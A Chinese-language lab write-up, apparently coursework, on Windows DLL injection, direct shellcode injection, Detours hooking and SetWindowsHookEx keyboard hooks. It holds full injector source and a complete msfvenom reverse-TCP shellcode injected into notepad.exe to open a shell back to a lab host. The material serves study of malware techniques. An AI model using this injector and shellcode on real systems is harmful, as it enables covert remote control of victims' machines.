Malware Analysis Practice3
最近更新:2025-10-20   |   字数总计:3.6k   |   阅读估时:19分钟   |   阅读量:
  1. 查阅资料,实现DLL注入和直接注入
    1. DLL注入
      1. 定义
      2. 实践 - DLL注入
    2. 直接注入
      1. 定义
      2. 实践 - 直接注入
  2. 使用Detours实现IAT HOOK和Inline Hook
    1. 实践 - 挂钩messageBox函数
  3. 使用SetWindowsHookEx完成全局钩子和线程钩子
    1. SetWindowsHookEx
    2. 实践 - 全局钩子
    3. 实践 - 线程钩子

查阅资料,实现DLL注入和直接注入

DLL注入

定义

DLL注入是进程注入的一种形式,它强迫一个远程进程加载恶意DLL程序,同时它是最常用的秘密加载技术。

所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。

实践 - DLL注入

DLL注入是令远程线程载入一个恶意的DLL,通过DllMain( )函数执行需要的代码。基本思路是将LoadLibrary()函数作为一个线程函数来调用:

1

  1. 生成dll文件,以下是gen_dll.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 编译命令:g++ -shared -o gen_dll.dll gen_dll.cpp 
#include <Windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
// DLL 被进程加载时调用
// 在这里进行初始化工作
MessageBoxW(NULL, L"DLL injection", L"DLL_PROCESS_ATTACH", MB_ICONINFORMATION | MB_OK);
break;

case DLL_THREAD_ATTACH:
// 线程创建时调用
// MessageBoxW(NULL, L"DLL_THREAD_ATTACH", L"DLL_THREAD_ATTACH", MB_ICONINFORMATION | MB_OK);
break;

case DLL_THREAD_DETACH:
// 线程销毁时调用
// MessageBoxW(NULL, L"DLL_THREAD_DETACH", L"DLL_THREAD_DETACH", MB_ICONINFORMATION | MB_OK);
break;

case DLL_PROCESS_DETACH:
// DLL 被进程卸载时调用
// 在这里进行清理工作
// MessageBoxW(NULL, L"DLL_PROCESS_DETACH", L"DLL_PROCESS_DETACH", MB_ICONINFORMATION | MB_OK);
break;
}

return TRUE;
}
  1. 实现注入函数injector.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
// 编译命令: g++ injector.cpp -o injector.exe
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

int main(int argc, char* argv[]) {
if (argc != 3) {
std::cout << "Usage: injector.exe <target_process_name> <dll_path>" << std::endl;
return 1;
}

const char* targetProcessName = argv[1];
const char* dllPath = argv[2];

// 获取目标进程的进程ID
DWORD processId = 0;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(snapshot, &entry)) {
while (Process32Next(snapshot, &entry)) {
// printf("%s's pid is %d\n",entry.szExeFile,entry.th32ProcessID);
if (strcmp(entry.szExeFile, targetProcessName) == 0) {
processId = entry.th32ProcessID;
break;
}
}
}

CloseHandle(snapshot);

if (processId == 0) {
std::cout << "Failed to find the target process." << std::endl;
return 1;
}
printf("%s's pid is %d\n",targetProcessName,processId);

// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (!hProcess) {
std::cout << "Failed to open the target process." << std::endl;
return 1;
}

// 在目标进程中分配内存
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, MAX_PATH, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!remoteMem) {
std::cout << "Failed to allocate memory in the target process." << std::endl;
CloseHandle(hProcess);
return 1;
}

// 将 DLL 路径写入目标进程内存
if (!WriteProcessMemory(hProcess, remoteMem, dllPath, strlen(dllPath) + 1, NULL)) {
std::cout << "Failed to write the DLL path into the target process." << std::endl;
return 1;
}
printf("dllPath:%s\n",dllPath);
printf("Remote memory address: %p\n", remoteMem);
// 创建远程线程
LPVOID pFunc = reinterpret_cast<LPVOID>(GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA"));
if(!pFunc){
printf("pFunc is Null");
return -1;
}
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE) pFunc, remoteMem, 0, 0);
if (!hThread) {
std::cout << "Failed to create a remote thread in the target process." << std::endl;
return 1;
}

// 等待远程线程执行完毕
WaitForSingleObject(hThread, INFINITE);

// 清理资源
CloseHandle(hThread);
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);

return 0;
}
  1. 注入过程

在前两步中已经生成了gen_dll.dllinjector.exe,我们运行后者,输入要被注入的进程名(notepad.exe)以及要注入的DLL文件路径。

1
2
injector.exe notepad.exe path(gen_dll.dll)
# 注:dll的路径一定要是全局路径

image-20231221174532432

随后Dllmain中的函数就会被执行,弹出一个消息框。

image-20231221174630275

也可用Process Explorer程序查看程序的dll加载情况。
image-20231221174802802

直接注入

定义

同DLL注入一样,在远程进程的内存空间中分配和插入代码,使用类似的Windows函数。

但是不编写dll文件,直接将恶意代码注入到远程进程中,比dll注入更加灵活。

实践 - 直接注入

  1. 使用msfvenom生成了一个Windows x64架构的shellcode,创建一个反向TCP shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~]
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.65.1 LPORT=12345 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of c file: 1963 bytes
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x30\x39\xc0\xa8\x41\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

image-20231221190725579

  1. 编写直接注入的代码injector_direct.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x30\x39\xc0\xa8\x41\x01"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

int main(int argc, char* argv[]) {
if (argc != 2) {
std::cout << "Usage: injector.exe <target_process_name>" << std::endl;
return 1;
}

const char* targetProcessName = argv[1];

// 获取目标进程的进程ID
DWORD processId = 0;
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (Process32First(snapshot, &entry)) {
while (Process32Next(snapshot, &entry)) {
// printf("%s's pid is %d\n",entry.szExeFile,entry.th32ProcessID);
if (strcmp(entry.szExeFile, targetProcessName) == 0) {
processId = entry.th32ProcessID;
break;
}
}
}

CloseHandle(snapshot);

if (processId == 0) {
std::cout << "Failed to find the target process." << std::endl;
return 1;
}
printf("%s's pid is %d\n",targetProcessName,processId);

// 打开目标进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
if (!hProcess) {
std::cout << "Failed to open the target process." << std::endl;
return 1;
}

// 在目标进程中分配内存
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
std::cout << "Failed to allocate memory in the target process." << std::endl;
CloseHandle(hProcess);
return 1;
}

// 将 shellcode写入目标进程内存
if (!WriteProcessMemory(hProcess, remoteMem, shellcode, sizeof(shellcode), NULL)) {
std::cout << "Failed to write the shellcode into the target process." << std::endl;
return 1;
}

// 创建远程线程
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
if (!hThread) {
std::cout << "Failed to create a remote thread in the target process." << std::endl;
return 1;
}

return 0;
}

逻辑同injector.cpp差不多,只是注入的不再是dll文件的路径,而是可运行的shellcode。所以直接在CreateRemoteThread的第4个参数上,直接将remoteMem作为函数的起始地址传入。

还有一点,在VirtualAllocEx的第5个参数的值要设置为PAGE_EXECUTE_READWRITE,因为该内存部分需要被执行。

  1. 效果演示

目前只有injector_direct.exe,我们只需要执行该程序即可,通过命令行传入需要注入的进程名。

1
PS C:\Users\jay1an\Desktop\Practice3\task1> .\injector_direct.exe notepad.exe

但是在执行之前,需要在本机(192.168.65.1)上开启netcat反向监听。

image-20231221194120546

在执行注入程序后:

在主机这里可以接收到反弹shell。

image-20231221194227943

使用Process Explorer查看被注入的notepad.exe程序:

image-20231221194423642

  1. 其他发现

当notepad.exe关闭之前,主机主动关闭反向shell,那么notepad.exe程序会卡死。

但是如果在主机主动关闭反向shell之前关闭notepad.exe,反向shell不会关闭,该cmd.exe成了孤儿进程。

使用Detours实现IAT HOOK和Inline Hook

Detours资料参考:https://github.com/microsoft/Detours/wiki

一般情况下,使用detours库写一个dll,然后将dll注入到其他程序中,使得其他程序中的相应函数被挂钩,达到调试或者其他恶意的目的。

这里为了写作业方便,就直接对自己程序所用的函数挂钩。

实践 - 挂钩messageBox函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <windows.h>
#include <detours.h>
#include <iostream>
#pragma comment(lib, "detours.lib")

// 定义一个函数指针来保存原始的MessageBoxW函数地址
typedef int (WINAPI* MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);

// 定义一个指向原始MessageBoxW函数的指针
MESSAGEBOXA TrueMessageBoxA = NULL;

// 自定义的MessageBoxW函数
int WINAPI MyMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {
// 输出消息框的文本和标题
std::cout << "Old Message Box Text: " << lpText << std::endl;
std::cout << "Old Message Box Caption: " << lpCaption << std::endl;

// 调用原始的MessageBoxW函数
return TrueMessageBoxA(hWnd,"this MessageBox has been hooked.", "DETOURS", uType);
}

int main() {
// 获取指向user32.dll的模块句柄
HMODULE hUser32 = GetModuleHandleA("user32.dll");

// 获取MessageBoxW函数的地址
TrueMessageBoxA = (MESSAGEBOXA)GetProcAddress(hUser32, "MessageBoxA");

// 开始hook事务
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)TrueMessageBoxA, MyMessageBoxA);
DetourTransactionCommit();

// 调用MessageBoxW函数测试
MessageBoxA(NULL, "Hello, Detours!", "Greetings", MB_OK);

// 清理hook
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourDetach(&(PVOID&)TrueMessageBoxA, MyMessageBoxA);
DetourTransactionCommit();

std::cout << "Unhooked"<<std::endl;
MessageBoxA(NULL, "Hello, Detours!", "Greetings", MB_OK);

return 0;
}

运行效果:

image-20231222184328252

image-20231222184359673

注:如果要挂钩某个程序中的某个函数,需要使用dll注入的方法,将使用detours挂钩的代码段放在Dllmain中,然后使得受害程序加载该dll,进而执行Dllmain中的代码,完成挂钩。

使用SetWindowsHookEx完成全局钩子和线程钩子

SetWindowsHookEx

参数如下:

  • dHook: 要安装的钩子类型。
  • lpfn: 钩子过程的回调函数,即钩子处理过程。当特定的事件发生时,系统会调用此函数来处理事件。
  • hMod: 包含 lpfn 函数的 DLL 句柄。如果 lpfn 参数指定了一个线程 ID,该参数必须为 NULL。
  • dwThreadId: 目标线程的标识符,可以指定特定线程的钩子,也可以是全局钩子。如果是全局钩子,dwThreadId 必须是 0。

实践 - 全局钩子

  1. 生成hook.dll,包含Hook的回调函数。

hook_dll.cpp代码:

功能为:每次按键都会触发消息提示框。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//g++ -shared -o hook.dll hook_dll.cpp
#include <Windows.h>

extern "C" __declspec(dllexport)
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
MessageBoxA(NULL,"this is keyboardProc hook","HOOK",MB_OK);
return CallNextHookEx(NULL, nCode, wParam, lParam);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
  1. 编写安装钩子的程序

global_hook.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <windows.h>
#include <iostream>

typedef LRESULT(CALLBACK* KeyboardProcType)(int, WPARAM, LPARAM);

int main() {
HINSTANCE hDll = LoadLibrary(TEXT("hook.dll"));
if (hDll == NULL) {
std::cout << "Failed to load DLL" << std::endl;
return 1;
}

KeyboardProcType hookFunc = (KeyboardProcType)GetProcAddress(hDll, "KeyboardProc");
if (hookFunc == NULL) {
std::cout << "Failed to get function pointer" << std::endl;
FreeLibrary(hDll);
return 1;
}

HHOOK g_hHook = SetWindowsHookEx(WH_KEYBOARD, hookFunc, hDll, 0);
if (g_hHook == NULL) {
std::cout << "Failed to install hook" << std::endl;
FreeLibrary(hDll);
return 1;
}

std::cout << "Hook installed successfully" << std::endl;

// message loop
MSG msg;
while (GetMessage(&msg, 0, 0, 0))
{
PeekMessage(&msg, 0, 0, 0, 0x0001);
}

// 卸载钩子
UnhookWindowsHookEx(g_hHook);
FreeLibrary(hDll);

return 0;
}
  1. 编译之后运行安装钩子的程序

image-20231228164700426

已经成功安装上全局钩子。

  1. 系统会将该dll链接到所有需要被Hook的程序

记事本:

image-20231228165524511

使用process explorer可以查看到hook.dll已经被链接到了notepad.exe

image-20231228165602258

chrome程序也被链接了此dll:

23323232

但如果SetWindowsHookEx的第一个参数为WH_KEYBOARD_LL,就不会链接dll文件。

实践 - 线程钩子

只需要将SetWindowsHookEx的最后一个参数改为目标线程ID即可,TID。

重新打开一个notepad程序,通过Process Explorer查看线程ID

image-20231228170758172

然后改在代码中修改即可

1
HHOOK g_hHook = SetWindowsHookEx(WH_KEYBOARD, hookFunc, hDll, 2752);

现在再重新运行程序

image-20231228170918599

在notepad中输入会触发hook procedure(弹窗),在其他应用中输入则不会。

image-20231228171047959

并且也被自动链接了hook.dll

image-20231228171137024